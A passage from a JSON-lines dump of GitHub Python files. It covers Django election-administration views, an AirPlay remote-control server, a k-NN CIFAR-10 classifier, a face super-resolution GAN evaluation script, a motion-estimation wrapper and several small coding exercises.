'gest_preparacion:listado'\n        context['title'] = 'Detalle del Eleccion'\n        context['page_title_heading'] = self.object.__str__()\n        context['url_actualizar'] = 'gest_preparacion:actualizar'\n        context['padron'] = Padron.objects.get(eleccion=self.object)\n        context['mesa'] = Mesa.objects.get(eleccion=self.object)\n        # DEBERIA SER ncandidatos\n        context['candidato'] = self.object.candidatos().count()\n        context['snippet_accion_detail'] = 'gest_preparacion/snippets/snippet_accion_detail.html'\n        if self.object.etapa == 0:\n            context['card_title'] = 'ELECCION EN PROCESO DE PREPARACIÓN'\n        elif self.object.etapa == 1:\n            context['card_title'] = 'ELECCION EN ETAPA PROGRAMADA'\n            context['sin_clave'] = self.sin_clave\n        elif self.object.etapa == 2:\n            context['card_title'] = 'ELECCION EN ETAPA LISTA'\n            context['mesa_habil'] = self.mesa_habil\n        elif self.object.etapa == 3:\n            context['card_title'] = '>ELECCION EN CURSO'\n        elif self.object.etapa == 4:\n            context['card_title'] = 'ELECCION EN ETAPA CERRADA'\n        elif self.object.etapa == 5:\n            context['card_title'] = 'RECUENTO INICIADO'\n            context['sin_clave'] = self.sin_clave\n        elif self.object.etapa == 6:\n            context['card_title'] = 'RECUENTO FINALIZADO'\n        else:\n            context['card_title'] = 'ERROR'\n        context['text_badge_dark'] = f'Detalles: {self.object}'\n        return context\n\n\n# ____________________________________________\n# _Padron\n@method_decorator(decorators, name='dispatch')\nclass PadronDetailView(DetailView):\n    model = Padron\n    template_name = 'gest_preparacion/padron_detail.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        if self.object.eleccion.etapa == 0:\n            print('if self.object.eleccion.etapa == 0:')\n            return super().dispatch(request, *args, **kwargs)\n        else:\n            return redirect(self.object.eleccion.get_absolute_url())\n\n    def post(self, request, *args, **kwargs):\n        print(f\"\\n no_incluidos\\n{request.POST.getlist('no_incluidos')}\")\n        print(f\"\\n incluidos\\n{request.POST.getlist('incluidos')}\\n\\n\")\n        if request.POST['button'] == 'agregar':\n            admi_elector2padron(self.object,\n                                request.POST.getlist('no_incluidos'),\n                                'agregar')\n        elif request.POST['button'] == 'quitar':\n            admi_elector2padron(self.object,\n                                request.POST.getlist('incluidos'),\n                                'quitar')\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        # context['url_listado'] = 'gest_preparacion:listado'\n        context['title'] = 'Administración del Padron'\n        context['page_title_heading'] = f'Corresponde a la {self.object.eleccion.__str__()}'\n        context['no_incluidos'] = get_elector_exclude_padron(self.object.electores.all())\n        context['thead_values'] = ['DNI', 'Nombre/s', 'Apellido/s']\n        context['snippet_accion_detail'] = 'utils/blank.html'\n        return context\n\n\n# ____________________________________________\n# _Mesa\n@method_decorator(decorators, name='dispatch')\nclass MesaDetailView(DetailView):\n    model = Mesa\n    template_name = 'gest_preparacion/mesa_detail.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        if self.object.eleccion.etapa == 0:\n            return super().dispatch(request, *args, **kwargs)\n        else:\n            return redirect(self.object.eleccion.get_absolute_url())\n\n    def post(self, request, *args, **kwargs):\n        if request.POST:\n            self.object.cuenta = User.objects.get(id=request.POST['staff-btn'])\n            self.object.estado_mesa = 1\n            self.object.save()\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['text_badge_dark'] = f'Corresponde a la {self.object.eleccion.__str__()}'\n        context['snippet_accion_detail'] = 'utils/blank.html'\n        context['staff_list'] = staff_list(self.object.cuenta)\n        return context\n\n\n# ____________________________________________\n# _Candidato\n@method_decorator(decorators, name='dispatch')\nclass AdministrarCandidatos(DetailView):\n    model = Eleccion\n    template_name = 'gest_preparacion/candidato_detail.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        if self.object.etapa == 0:\n            return super().dispatch(request, *args, **kwargs)\n        else:\n            return redirect(self.object.get_absolute_url())\n\n    def post(self, request, *args, **kwargs):\n        if 'disponible' in request.POST:\n            agregar_candidato(self.object, request.POST[\"disponible\"])\n        elif 'candidato' in request.POST:\n            set_estado_postulacion(Candidato.objects.get(id=request.POST['candidato']))\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        # context['url_listado'] = 'gest_preparacion:listado'\n        context['title'] = 'Administración del Candidatos'\n        context['page_title_heading'] = f'Elección::: {self.object.__str__()}'\n        context['candidatos'] = self.object.candidato_set.all()\n        context['disponibles'] = get_disponibles(context['candidatos'], 'elector')\n        context['thead_values'] = ['DNI', 'Nombre/s', 'Apellido/s']\n        context['snippet_accion_detail'] = 'utils/blank.html'\n        return context\n","repo_name":"chocolatito/siselecc","sub_path":"apps/gest_preparacion/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"35696144547","text":"hour, min = list(map(int, (input().split())))\nplus_min = int(input())\n\nbuf_hour = plus_min//60\nbuf_min = plus_min%60\n\nif min+buf_min >= 60:\n    buf_hour+=1\n    min = (min+buf_min)-60\nelse:\n    min += buf_min\n\nif hour+buf_hour > 23:\n    hour = abs((hour+buf_hour)-24)\nelse:\n    hour += buf_hour\n\nprint(hour, min)","repo_name":"Hitbee-dev/Coding_test","sub_path":"baekjoon/2,if/2525.py","file_name":"2525.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7661190674","text":"\"\"\"\nImplemented according to https://nto.github.io/AirPlay.html#audio-remotecontrol\n\"\"\"\nimport time\nimport socket\nimport logging\nfrom enum import Enum\nfrom threading import Thread\n\ntry:\n    from http.server import BaseHTTPRequestHandler, HTTPServer\nexcept ImportError:\n    from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\n\nfrom zeroconf import ServiceInfo, Zeroconf\n\nfrom raopy.util import EventHook\n\n\nlogger = logging.getLogger(\"AirplayRemoteServerLogger\")\n\n\nclass AirplayCommand(Enum):\n    \"\"\"\n    Available airplay commands.\n    \"\"\"\n    BEGIN_FAST_FORWARD = \"beginff\"\n    BEGIN_REWIND = \"beginrew\"\n    PREVIOUS_SONG = \"previtem\"\n    NEXT_SONG = \"nextitem\"\n    PAUSE = \"pause\"\n    PLAY_PAUSE = \"playpause\"\n    PLAY = \"play\"\n    STOP = \"stop\"\n    PLAY_RESUME = \"playresume\"\n    SHUFFLE_SONGS = \"shuffle_songs\"\n    VOLUME_DOWN = \"volumedown\"\n    VOLUME_UP = \"volumeup\"\n\n    def __str__(self):\n        return self.value\n\nAIRPLAY_ZEROCONF_SERVICE = \"_dacp._tcp.local.\"\n\n\nclass RequestHandler(BaseHTTPRequestHandler):\n\n    def do_GET(self):\n        \"\"\"\n        Handle GET requests.\n        \"\"\"\n        res_code = 200\n\n        # check if the path is correct\n        _, ctrl, num, cmd = self.path.split(\"/\")\n        if _ == \"\" and ctrl == \"ctrl-int\" and num == \"1\":\n            # check if the command is valid and inform all listener\n            try:\n                airplay_cmd = AirplayCommand(cmd)\n                logger.debug(\"Received airplay remote command: %s\", airplay_cmd)\n                self.server.on_remote_command.fire(airplay_cmd)\n            except ValueError:\n                res_code = 400\n        else:\n            res_code = 400\n\n        # create the responds header\n        self.send_response(res_code)\n        self.send_header('Content-Length', '0')\n        self.send_header('Date', time.strftime(\"%a, %d %b %Y %H:%M:%S GMT\", time.gmtime()))\n        self.end_headers()\n\n\nclass AirplayServer(HTTPServer):\n    \"\"\"\n    Start an Airplay remote server on this device with a specific port.\n    Available Events:\n        - on_remote_command(AirplayCommand)\n    \"\"\"\n    def __init__(self, dacp_id, active_remote, port=52485):\n        super(AirplayServer, self).__init__((\"\", port), RequestHandler)\n\n        self.dacp_id = dacp_id\n        self.active_remote = active_remote\n\n        self.on_remote_command = EventHook()\n\n        hostname = socket.gethostname()\n        local_ip = socket.gethostbyname(hostname)\n\n        # setup the service information\n        self.info = ServiceInfo(\n            type_=AIRPLAY_ZEROCONF_SERVICE,\n            name=\"iTunes_Ctrl_{0}.{1}\".format(dacp_id, AIRPLAY_ZEROCONF_SERVICE),\n            address=socket.inet_aton(local_ip),\n            port=port,\n            properties={},\n            server=\"{0}.local.\".format(hostname)\n        )\n\n        self._zeroconf = Zeroconf()\n\n    def start(self):\n        \"\"\"\n        Start the main http server and register the dacp service.\n        :return: server thread\n        \"\"\"\n\n        thread = Thread(target=self.serve_forever, daemon=True)\n        thread.start()\n        logger.debug(\"Started HTTP server on port: %s\", self.info.port)\n\n        # register a zeroconf dacp service\n        self._zeroconf.register_service(self.info)\n        logger.debug(\"Published service with info: %s\", self.info)\n\n        return thread\n\n    def stop(self):\n        \"\"\"\n        Close the current server.\n        :return:\n        \"\"\"\n        # unregister zero conf service\n        self._zeroconf.unregister_service(self.info)\n        self._zeroconf.close()\n        logger.debug(\"Removed service with info: %s\", self.info)\n\n        # shutdown the http server\n        self.shutdown()\n        logger.debug(\"Stopped HTTP server on port: %s\", self.info.port)\n","repo_name":"Schlaubischlump/raopy_old","sub_path":"raopy/remote/airplayserver.py","file_name":"airplayserver.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74566784720","text":"import contextlib\nimport io\nimport logging\nimport os\nimport tempfile\n\nimport pytest\n\nfrom src.machine import machinery\nfrom src.translator import translate\n\n\n@pytest.mark.golden_test(\"golden/*.yml\")\ndef test_whole_by_golden(golden, caplog):\n    caplog.set_level(logging.DEBUG)\n\n    with tempfile.TemporaryDirectory() as tmpdirname:\n        source = os.path.join(tmpdirname, \"source.js\")\n        input_stream = os.path.join(tmpdirname, \"input.txt\")\n        target = os.path.join(tmpdirname, \"target.o\")\n\n        with open(source, \"w\", encoding=\"utf-8\") as file:\n            file.write(golden[\"source\"])\n        with open(input_stream, \"w\", encoding=\"utf-8\") as file:\n            file.write(golden[\"input\"])\n\n        with contextlib.redirect_stdout(io.StringIO()) as stdout:\n            translate.main([source, target])\n            print(\"============================================================\")\n            machinery.main([target, input_stream])\n\n        with open(target, encoding=\"utf-8\") as file:\n            code = file.read()\n\n        assert code == golden.out[\"code\"]\n        assert stdout.getvalue() == golden.out[\"output\"]\n        assert caplog.text == golden.out[\"log\"]\n","repo_name":"Bordsiya/ComputerArchitectureLab3","sub_path":"src/integration_test.py","file_name":"integration_test.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"14661654654","text":"import numpy as np\nfrom keras.datasets import cifar10\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.metrics import classification_report\n\n# Download the data from dataset \n(x_train, y_train) , (x_test, y_test) = cifar10.load_data()\n\n#pasamos los datos de una 2D a vectores para trabajar con ellos KNN TRABAJA CON VECTORES\ny_train = y_train.ravel()\ny_test = y_test.ravel()\n\n# Redimensionamos las imagenes a vectores para trabajar con el algoritmo\n# CIFAR-10 es un conjunto de datos de imágenes, donde cada imagen tiene una dimensión de \n# cada imagen es de 32 por 32 con 3 canales RGB 3072 valores por imagaenr\n\nx_train = x_train.reshape(x_train.shape[0], 32*32*3)\nx_test = x_test.reshape(x_test.shape[0], 32 * 32 * 3)\n\nx_train = x_train.astype('float32') / 255.0\nx_test = x_test.astype('float32') / 255.0\n\n# Usar k-NN con k=3 (puedes ajustar el valor de k según lo desees)\nknn = KNeighborsClassifier(n_neighbors=3)\n\n#Aqui entrena el modelo con los datos de entrenamiento de entrada y salida\nknn.fit(x_train, y_train)\n\n# we use the data test set and the return will be the prediction.\ny_pred = knn.predict(x_test)\n\n# We compare the prediction with the data that we had from x_test. We can see the precision and other interesting parameters\nprint(classification_report(y_test, y_pred))","repo_name":"AlfonsoDeUna/Learning_2_deepLearning","sub_path":"knn/knn_test1.py","file_name":"knn_test1.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74520366160","text":"# -*- coding: utf-8 -*-\n# https://stepik.org/lesson/Задачи-41560/step/1?course=Алгоритмы-теория-и-практика-Структуры-данных&unit=20013\n\n\nclass MinHeap:\n    def __init__(self, array):\n        self.heap = list(array)\n        self.log = []\n        for i in range(int(self.size / 2), -1, -1):\n            self.sift_down(i)\n\n    @property\n    def size(self):\n        return len(self.heap)\n\n    def sift_down(self, i):\n        while True:\n            min_i = i\n            l = 2 * i + 1\n            r = 2 * i + 2\n            if l < self.size and self.heap[l] < self.heap[min_i]:\n                min_i = l\n            if r < self.size and self.heap[r] < self.heap[min_i]:\n                min_i = r\n            if min_i != i:\n                self.log.append((i, min_i))\n                self.heap[i], self.heap[min_i] = self.heap[min_i], self.heap[i]\n                i = min_i\n            else:\n                break\n\n\nif __name__ == '__main__':\n    # heap = MinHeap([5, 4, 3, 2, 1])\n    # print(heap.heap)\n    # print(*heap.log, sep='\\n')\n    # heap = MinHeap([1, 2, 3, 4, 5])\n    # print(heap.heap)\n\n    input()\n    heap = MinHeap(list(map(int, input().split())))\n    print(len(heap.log))\n    for item in heap.log:\n        print(*item)\n","repo_name":"become-iron/python_practice","sub_path":"courses/Алгоритмы теория и практика. Структуры данных/6. Построение кучи.py","file_name":"6. Построение кучи.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"16856856054","text":"#!/usr/bin/python3\n\nimport time\nimport random\nimport os\n\n# supress silly warnings from master branch of tensorflow...\n# import sys\n# sys.stderr = None\n\nimport matplotlib.image as mpimg\nimport skimage.transform\n\nfrom utils import Logger\n\nimport tensorflow as tf\nfrom tensorflow import nn, layers\nimport numpy as np\n\n# Set random seem for reproducibility\nmanualSeed = 999\nnp.random.seed(manualSeed)\ntf.set_random_seed(manualSeed)\n\n# make dictionary of lists of all bounding boxes\nbbox_file = \"../WIDER_val/wider_face_split/wider_face_val_bbx_gt.txt\"\n\nmax_image_size = 16\nimage_size_in = (16, 16, 3)\nimage_size_up = (64, 64, 3)\n\n#making a dictionary for vgg19 values\ndata_dict = np.load('vgg19.npy', encoding='latin1').item()\n\ndef data_generator():\n    with open(bbox_file) as f:\n        image_name = None\n        bboxes_left = None\n        current_image = None\n        for line in f:\n            line = line.strip()\n            if image_name is None:\n                image_name = line\n                file_name = \"../WIDER_val/images/{}\".format(image_name)\n                current_image = mpimg.imread(file_name)\n                current_image = np.array(current_image, dtype=np.float32) / 255.0 * 2.0 - 1.0\n            elif bboxes_left is None:\n                bboxes_left = int(line)\n            else:\n                numbers = [int(v) for v in line.split(\" \")]\n                x, y, w, h = numbers[0:4]\n\n                bbox = numbers[0:4]\n\n                # get sub-image and resize\n                # ignore faces that are not already smaller than our small size\n                if h < max_image_size and w < max_image_size:\n                    sub_image = current_image[y:y+h, x:x+w]\n                    full_image = skimage.transform.resize(sub_image, (image_size_up[0], image_size_up[1]), anti_aliasing=True, mode=\"constant\")\n                    small_image = skimage.transform.resize(sub_image, (image_size_in[0], image_size_in[1]), anti_aliasing=True, mode=\"constant\")\n                    full_image = np.rot90(np.array(full_image, dtype=np.float32))\n                    small_image = np.rot90(np.array(small_image, dtype=np.float32))\n\n                    yield (full_image, small_image, 1)\n\n                    # then find a random part of the image for a non-face selection\n                    total_h = current_image.shape[0]\n                    total_w = current_image.shape[1]\n                    x = random.randint(0, total_w - w)\n                    y = random.randint(0, total_h - h)\n                    full_image = current_image[y:y+h, x:x+w]\n                    full_image = skimage.transform.resize(sub_image, (image_size_up[0], image_size_up[1]), anti_aliasing=True, mode=\"constant\")\n                    small_image = skimage.transform.resize(full_image, (image_size_in[0], image_size_in[1]), anti_aliasing=True, mode=\"constant\")\n                    full_image = np.rot90(full_image)\n                    small_image = np.rot90(np.array(small_image, dtype=np.float32))\n\n                    yield (full_image, small_image, 0)\n\n                bboxes_left -= 1\n                if bboxes_left == 0:\n                    image_name = None\n                    bboxes_left = None\n                    bboxes = []\n\ndef batch_generator(batch_size):\n    data_gen = data_generator()\n    images = []\n    small_images = []\n    labels = []\n    batch_i = 0\n    for (image, small_image, label) in data_gen:\n        images += [image]\n        small_images += [small_image]\n        labels += [label]\n        if len(images) == batch_size:\n            yield (batch_i, (np.stack(images), np.stack(small_images), np.reshape(labels, [-1, 1])))\n            images = []\n            small_images = []\n            labels = []\n            batch_i += 1\n# os.listdir(\"somedirectory\")\n\nbatch_size = 100\nnum_batches = 39370 / batch_size # approximately\n\ndef noise(size):\n    return np.random.normal(size=size)\n\ndef discriminator(x):\n    \"\"\"Start addition\"\"\"\n    with tf.variable_scope(\"discriminator\", reuse=tf.AUTO_REUSE):\n        #relu - convolutional layers\n        with tf.variable_scope(\"conv1\"):\n            conv1_1 = conv_layer(x, \"conv1_1\")\n            conv1_2 = conv_layer(conv1_1, \"conv1_2\")\n            pool1 = max_pool(conv1_2, \"pool1\")\n\n\n        with tf.variable_scope(\"conv2\"):\n            conv2_1 = conv_layer(pool1, \"conv2_1\")\n            conv2_2 = conv_layer(conv2_1, \"conv2_2\")\n            pool2 = max_pool(conv2_2, \"pool2\")\n\n        with tf.variable_scope(\"conv3\"):\n            conv3_1 = conv_layer(pool2, \"conv3_1\")\n            conv3_2 = conv_layer(conv3_1, \"conv3_2\")\n            conv3_3 = conv_layer(conv3_2, \"conv3_3\")\n            conv3_4 = conv_layer(conv3_3, \"conv3_4\")\n            pool3 = max_pool(conv3_4, \"pool3\")\n\n        with tf.variable_scope(\"conv4\"):\n            conv4_1 = conv_layer(pool3, \"conv4_1\")\n            conv4_2 = conv_layer(conv4_1, \"conv4_2\")\n            conv4_3 = conv_layer(conv4_2, \"conv4_3\")\n            conv4_4 = conv_layer(conv4_3, \"conv4_4\")\n            pool4 = max_pool(conv4_4, \"pool4\")\n\n        with tf.variable_scope(\"conv5\"):\n            conv5_1 = conv_layer(pool4, \"conv5_1\")\n            conv5_2 = conv_layer(conv5_1, \"conv5_2\")\n            conv5_3 = conv_layer(conv5_2, \"conv5_3\")\n            conv5_4 = conv_layer(conv5_3, \"conv5_4\")\n\n        #fully connected layer to determine if the image is fake or real\n\n        with tf.variable_scope(\"linear\"):\n            linear = layers.flatten(conv5_4)\n            linear = layers.dense(linear, 2, use_bias=False, kernel_initializer=tf.initializers.random_normal(0.0, 0.1))\n\n        with tf.variable_scope(\"out\"):\n            out = nn.sigmoid(linear)\n\n        return out\n\n\ndef avg_pool(bottom, name):\n        return tf.nn.avg_pool(bottom, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name=name)\n\ndef max_pool(bottom, name):\n    return tf.nn.max_pool(bottom, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME', name=name)\n\ndef conv_layer(bottom, name):\n    with tf.variable_scope(name):\n        filt = get_conv_filter(name)\n\n        conv = tf.nn.conv2d(bottom, filt, [1, 1, 1, 1], padding='SAME')\n\n        conv_biases = get_bias(name)\n        bias = tf.nn.bias_add(conv, conv_biases)\n\n        relu = tf.nn.relu(bias)\n        return relu\n\ndef get_conv_filter(name):\n    return tf.constant(data_dict[name][0], name=\"filter\")\n\ndef get_bias(name):\n    return tf.constant(data_dict[name][1], name=\"biases\")\n\"\"\"End of Addition\"\"\"\n\ndef generator(x):\n    with tf.variable_scope(\"generator_sr\", reuse=tf.AUTO_REUSE, initializer=tf.initializers.random_normal(0.0, 0.02)):\n        with tf.variable_scope(\"conv1\"):\n            conv1 = layers.conv2d(x, 64, 3, strides=1, padding=\"same\")\n            conv1 = layers.batch_normalization(conv1, scale=False)\n            conv1 = nn.relu(conv1)\n\n        with tf.variable_scope(\"conv2\"):\n            # residual block with (up to) 8 convolution layers\n            n_conv_layers = 8;\n\n            previous = conv1\n            for i in range(n_conv_layers):\n                conv2 = layers.conv2d(previous, 64, 3, strides=1, padding=\"same\")\n                conv2 = layers.batch_normalization(conv2, scale=False)\n                conv2 += previous\n                conv2 = nn.relu(conv2)\n                previous = conv2\n\n        with tf.variable_scope(\"conv3\"):\n            conv3 = layers.conv2d(conv2, 64, 3, strides=1, padding=\"same\")\n            conv3 = layers.batch_normalization(conv3, scale=False)\n            conv3 = nn.relu(conv3)\n\n        with tf.variable_scope(\"deconv4\"):\n            deconv4 = layers.conv2d_transpose(conv3, 256, 3, strides=2, padding=\"same\")\n            deconv4 = layers.batch_normalization(deconv4, scale=False)\n            deconv4 = nn.relu(deconv4)\n\n        with tf.variable_scope(\"deconv5\"):\n            deconv5 = layers.conv2d_transpose(deconv4, 256, 3, strides=2, padding=\"same\")\n            deconv5 = layers.batch_normalization(deconv5, scale=False)\n            deconv5 = nn.relu(deconv5)\n\n        with tf.variable_scope(\"conv6\"):\n            conv6 = layers.conv2d(deconv5, 3, 1, strides=1, padding=\"same\")\n\n        with tf.variable_scope(\"out\"):\n            out = nn.tanh(conv6)\n\n    #Adding Refinement network\n    with tf.variable_scope(\"generator_rf\", reuse=tf.AUTO_REUSE, initializer=tf.initializers.random_normal(0.0, 0.02)):\n        with tf.variable_scope(\"conv1\"):\n            conv6 = layers.batch_normalization(conv6, scale=False)\n            conv6 = nn.relu(conv6)\n            conv1 = layers.conv2d(conv1, 64, 3, strides=1, padding=\"same\")\n            conv1 = layers.batch_normalization(conv1, scale=False)\n            conv1 = nn.relu(conv1)\n\n        with tf.variable_scope(\"conv2\"):\n            # residual block with (up to) 8 convolution layers\n            n_conv_layers = 8;\n\n            previous = conv1\n            for i in range(n_conv_layers):\n                conv2 = layers.conv2d(previous, 64, 3, strides=1, padding=\"same\")\n                conv2 = layers.batch_normalization(conv2, scale=False)\n                conv2 += previous\n                conv2 = nn.relu(conv2)\n                previous = conv2\n\n        with tf.variable_scope(\"conv3\"):\n            conv3 = layers.conv2d(conv2, 64, 3, strides=1, padding=\"same\")\n            conv3 = layers.batch_normalization(conv3, scale=False)\n            conv3 = nn.relu(conv3)\n\n        with tf.variable_scope(\"conv4\"):\n            conv4 = layers.conv2d(conv3, 256, 3, strides=1, padding=\"same\")\n            conv4 = layers.batch_normalization(conv4, scale=False)\n            conv4 = nn.relu(conv4)\n\n        with tf.variable_scope(\"conv5\"):\n            conv5 = layers.conv2d(conv4, 256, 3, strides=1, padding=\"same\")\n            conv5 = layers.batch_normalization(conv5, scale=False)\n            conv5 = nn.relu(deconv5)\n\n        with tf.variable_scope(\"conv6\"):\n            conv6 = layers.conv2d(conv5, 3, 3, strides=1, padding=\"same\")\n\n        with tf.variable_scope(\"out\"):\n            out2 = nn.tanh(conv6)\n\n    return out, out2\n\n# real input (full size)\nX = tf.placeholder(tf.float32, shape=(None, ) + image_size_up)\n# real labels (face vs non-face)\nX_labels = tf.placeholder(tf.float32, shape=(None, 1))\n# downsized input image\nZ = tf.placeholder(tf.float32, shape=(None, ) + image_size_in)\n\n# Generator\nG_sample, G_sample2 = generator(Z)\n# Discriminator, has two outputs [face (1.0) vs nonface (0.0), real (1.0) vs generated (0.0)]\nD_real = discriminator(X)\nD_real_face = tf.slice(D_real, [0, 0], [-1, 1])\nD_real_real = tf.slice(D_real, [0, 1], [-1, 1])\nD_fake = discriminator(G_sample2)\nD_fake_face = tf.slice(D_fake, [0, 0], [-1, 1])\nD_fake_real = tf.slice(D_fake, [0, 1], [-1, 1])\n\n# Generator, MSE pixel-wise loss\nG_SR_pixel_loss = tf.reduce_mean((G_sample - X)**2)\nG_pixel_loss = G_SR_pixel_loss + tf.reduce_mean((G_sample2 - X)**2)\nG_adversarial_loss = tf.reduce_mean(\n    nn.sigmoid_cross_entropy_with_logits(\n        logits=D_fake_real, labels=tf.ones_like(D_fake_real) # * 1.2 - tf.random.uniform(tf.shape(D_fake)) * 0.4\n    )\n)\nG_classification_loss = tf.reduce_mean(\n    nn.sigmoid_cross_entropy_with_logits(\n        logits=D_fake_face, labels=X_labels\n    )\n)\nG_loss = G_pixel_loss + 0.001 * G_adversarial_loss + 0.01 * G_classification_loss\n\n# Discriminator\nD_loss_real = tf.reduce_mean(\n    nn.sigmoid_cross_entropy_with_logits(\n        logits=D_real_real, labels=tf.ones_like(D_real_real)# * 1.2 - tf.random.uniform(tf.shape(D_real)) * 0.4\n    )\n)\nD_loss_fake = tf.reduce_mean(\n    nn.sigmoid_cross_entropy_with_logits(\n        logits=D_fake_real, labels=tf.zeros_like(D_fake_real)# + tf.random.uniform(tf.shape(D_fake[:, 0])) * 0.4\n    )\n)\nD_classification_loss_real = tf.reduce_mean(\n    nn.sigmoid_cross_entropy_with_logits(\n        logits=D_real_face, labels=X_labels\n    )\n)\nD_classification_loss_fake = tf.reduce_mean(\n    nn.sigmoid_cross_entropy_with_logits(\n        logits=D_fake_face, labels=X_labels\n    )\n)\nD_loss = D_loss_real + D_loss_fake + D_classification_loss_real + D_classification_loss_fake\n\nlogger = Logger(model_name='FACEGAN_EVAL')\n\n# Start interactive session\nsession = tf.InteractiveSession()\n# Init Variables\ntf.global_variables_initializer().run()\n\nsaver = tf.train.Saver()\nsaver.restore(session, \"./model_full.ckpt\")\n\n\nreal_face_sum = 0\nfake_face_sum = 0\ntotal_sum = 0\n\nbatch_start_time = time.time()\nfor epoch in range(num_epochs):\n    batch_gen = batch_generator(batch_size)\n    for n_batch, (real_images, small_images, real_labels) in batch_gen:\n        feed_dict = {Z: real_images, X_labels: real_labels, Z: small_images}\n        d_real_face, d_fake_face = session.run([D_real_face, D_fake_face], feed_dict=feed_dict)\n\n        real_face_sum += np.sum(d_real_face.round() == real_labels)\n        fake_face_sum += np.sum(d_fake_face.round() == real_labels)\n        total_sum += len(real_images)\n\n        # Display Progress every few batches\n        if n_batch % 2 == 0:\n            now_time = time.time()\n            elapsed = now_time - batch_start_time\n            batch_start_time = now_time\n            print(\"Batches took {:.3f} ms\".format(elapsed * 1000))\n\n            print(\"Real accuracy ({}/{}) {:.2f}%    Fake accuracy ({}/{}) {:.2f}%\".format(real_face_sum, total_sum, real_face_sum / total_sum * 100,\n                                                                                        fake_face_sum, total_sum, fake_face_sum / total_sum * 100,))\n        if n_batch % 10 == 0:\n            logger.log_images(\n                real_images[0:25], 25,\n                epoch, n_batch*2, num_batches\n            )\n            logger.log_images(\n                small_images[0:25], 25,\n                epoch, n_batch*2+1, num_batches\n            )\n","repo_name":"saiprakash-c/gans-for-face-detection","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":13630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"74840857361","text":"import numpy\nfrom pythonME import pyME\n\nclass ME:\n    estimator = None\n    width = None\n    height = None\n    pixel_precision = None\n\n    def __init__(self, width, height, precision=\"QuarterPixel\", min_size_block=4, max_size_block=16, loss_metric=\"sad\",\n                 max_len_hor=None, max_len_vert=None):\n        convert_precision_to_int = {\"OnePixel\": 1, \"HalfPixel\": 2, \"QuarterPixel\": 4}\n        block_sizes = [4, 8, 16]\n        metrics = [\"sad\", \"colorindependent\"]\n        assert isinstance(width, int), \"Frame width must integer! width = {}\".format(width)\n        assert width % 16 == 0, \"Frame width must be a multiply 16! width = {}\".format(width)\n        assert isinstance(height, int), \"Frame height must integer! height = {}\".format(height)\n        assert height % 16 == 0, \"Frame height must be a multiply 16! height = {}\".format(height)\n        assert precision in convert_precision_to_int.keys(), \"Wrong precision: {}! Variants: {}\".format(precision, list(\n            convert_precision_to_int.keys()))\n        assert min_size_block in block_sizes, \"Wrong min_size_block: {}! Variants: {}\".format(min_size_block,\n                                                                                              block_sizes)\n        assert max_size_block in block_sizes, \"Wrong max_size_block: {}! Variants: {}\".format(max_size_block,\n                                                                                              block_sizes)\n        assert loss_metric.lower() in metrics, \"Wrong loss_metric: {}! Variants: {}\".format(loss_metric.lower(),\n                                                                                            metrics)\n        if max_len_hor is None:\n            max_len_hor = round(0.12 * width)\n        if max_len_vert is None:\n            max_len_vert = round(0.12 * height)\n        assert isinstance(max_len_hor, int), \"max_len_hor must integer! max_len_hor = {}\".format(max_len_hor)\n        assert isinstance(max_len_vert, int), \"max_len_vert must integer! max_len_vert = {}\".format(max_len_vert)\n        self.pixel_precision = convert_precision_to_int[precision]\n        self.width = width\n        self.height = height\n        self.estimator = pyME.ME()\n        self.estimator.InitME(width, height, self.pixel_precision, min_size_block, max_size_block, loss_metric.lower(),\n                              max_len_hor, max_len_vert)\n\n    def EstimateME(self, current_frame, reference_frame, return_error=False):\n        if not isinstance(current_frame, numpy.ndarray):\n            current_frame = numpy.array(current_frame)\n        current_frame = current_frame.astype(numpy.uint8)\n        if not isinstance(reference_frame, numpy.ndarray):\n            reference_frame = numpy.array(reference_frame)\n        reference_frame = reference_frame.astype(numpy.uint8)\n        assert current_frame.shape == (\n        self.height, self.width, 3), \"current_frame.shape must be equal ({}, {}, 3)! current_frame.shape = {}\".format(\n            self.height, self.width, current_frame.shape)\n        assert reference_frame.shape == (self.height, self.width,\n                                         3), \"reference_frame.shape must be equal ({}, {}, 3)! reference_frame.shape = {}\".format(\n            self.height, self.width, reference_frame.shape)\n        # check images sizes\n        result = self.estimator.EstimateME(current_frame, reference_frame).copy()\n        if return_error:\n            return (numpy.transpose(result[:, :, 0] / self.pixel_precision, axes=[1, 0]).reshape(self.height, self.width),\n                    numpy.transpose(result[:, :, 1] / self.pixel_precision, axes=[1, 0]).reshape(self.height, self.width),\n                    numpy.transpose(result[:, :, 2], axes=[1, 0]).reshape(self.height, self.width))\n        else:\n            return (numpy.transpose(result[:, :, 0] / self.pixel_precision, axes=[1, 0]).reshape(self.height, self.width),\n                    